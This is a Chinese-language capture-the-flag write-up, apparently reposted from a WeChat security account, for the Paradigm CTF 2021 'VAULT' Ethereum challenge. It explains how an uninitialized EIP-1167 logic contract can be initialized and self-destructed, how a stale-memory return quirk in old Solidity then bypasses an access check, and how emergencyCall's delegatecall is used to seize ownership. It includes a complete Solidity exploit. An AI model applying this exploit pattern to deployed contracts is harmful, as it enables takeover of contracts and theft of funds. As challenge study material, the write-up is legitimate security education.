Paradigm CTF 2021——VAULT

WriteUp 6个月前 admin
52 0 0

VAULT


这道题涉及到了 EIP1167 代理合约(https://learnblockchain.cn/article/721

function isSolved() public view returns (bool) {    return vault.owner() != address(this);}

先看一下整体逻辑

function Setup() public {  // 设定 SingleOwnerGuard 为 guard defaultImplementation    registry = new GuardRegistry();    registry.registerGuardImplementation(new SingleOwnerGuard(), true);
// 利用EIP-1167创建一个代理合约 vault // 原合约是 SingleOwnerGuard vault = new Vault(registry);
// 授权 deposit 和 withdraw 两个函数 SingleOwnerGuard guard = SingleOwnerGuard(vault.guard()); guard.addPublicOperation("deposit"); guard.addPublicOperation("withdraw");}

关键爆破点:

  • 构造函数相关的字节码在init-code 中,只能被调用一次。而自定义的initialize()方法存在于runtime code中,可被反复调用,需要自己写逻辑保证只能调用一次。

// 构造函数function Vault(GuardRegistry registry_) public {    owner = msg.sender;    registry = registry_;      createGuard(registry.defaultImplementation());}  // create new guard instance// 利用EIP-1167创建一个代理合约// 传入的是逻辑合约function createGuard(bytes32 implementation) private returns (Guard) {    address impl = registry.implementations(implementation);    require(impl != address(0x00));      if (address(guard) != address(0x00)) {        guard.cleanup();    }      // 创建代理合约    guard = Guard(createClone(impl));    // 代理合约的初始化    guard.initialize(this);    return guard;}

在 Vault 中只初始化了代理合约,而真正的逻辑合约 SingleOwnerGuard 并没有被初始化,类似于著名事件 anyone can kill your contract(https://github.com/openethereum/parity-ethereum/issues/6995)

  • 调用一个被销毁的合约,它只是会执行STOP这一个OPCODE,不会REVERT,也就是说会调用成功

  • 在solidity<0.5.0的版本中,返回值存放的位置指针与参数值的内存指针指向同一块内存地址。返回值拷贝到内存中时,如果返回值的实际长度为0,则其实际上拷贝到内存中的数值长度也为0。CALL不会去覆盖内存的值。

    这意味着如果我们销毁了逻辑合约 SingleOwnerGuard ,那么会得到内存中已经存在的内容,即输入

    因此当 SingleOwnerGuard 被销毁以后,我们传入的地址的第16位数值就是 error 的内存位置

    这里可以选择使用 create 或者 create2 来生成特定的合约地址,使合约地址第16位为 NO_ERROR,绕开权限检查

  • emergencyCall 函数可以自行传入data,也就是说只要绕开了权限检查,我们可以做任何事

function emergencyCall(address target, bytes memory data) public {    require(checkAccess("emergencyCall"));
require(target.delegatecall(data));}

完整的demo:

pragma solidity 0.4.16;
import "./Setup.sol";
contract FakeVault { SingleOwnerGuard public guard;
function get(GuardRegistry registry) public { guard = SingleOwnerGuard(registry.implementations(registry.defaultImplementation())); }
function cleanup() public { guard.initialize(Vault(address(this))); guard.cleanup(); }
function owner() public returns (address) { return address(this); }
// 在 cleanup() 中会有判断 guard() 的逻辑 function guard() external view returns (address) { return msg.sender; }}
contract OwnershipTaker { function doit(Vault vault) public { // data 为 0,就是调用 fallback 函数 vault.emergencyCall(msg.sender, new bytes(0)); }}
contract vaultExploit { // 注意:要修改的 owner 的位置需要和目标合约 vault 中的 owner 的位置相同,否则无法进行修改 address owner; vaultSetup private setup; OwnershipTaker addr;
function vaultExploit(vaultSetup setup_) public { setup = setup_; }
// 销毁逻辑合约 function part1() public { FakeVault fakeVault = new FakeVault(); // 获得逻辑合约地址 fakeVault.get(setup.registry()); // 初始化并销毁 fakeVault.cleanup(); }
function part2() public { while(true) { // 使用 CREATE 来创造合约 addr = new OwnershipTaker(); // 判断是否满足条件 if (bytes20(address(addr))[15] == hex'00') { break; } } // 调用特定合约地址中的攻击函数 addr.doit(setup.vault());
}
// 在 fallback 函数里面实现修改 owner 的逻辑 function() external { owner = address(0); }}

原文始发于微信公众号(ChainSecLabs):Paradigm CTF 2021——VAULT

版权声明:admin 发表于 2023年11月13日 下午4:56。
转载请注明:Paradigm CTF 2021——VAULT | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...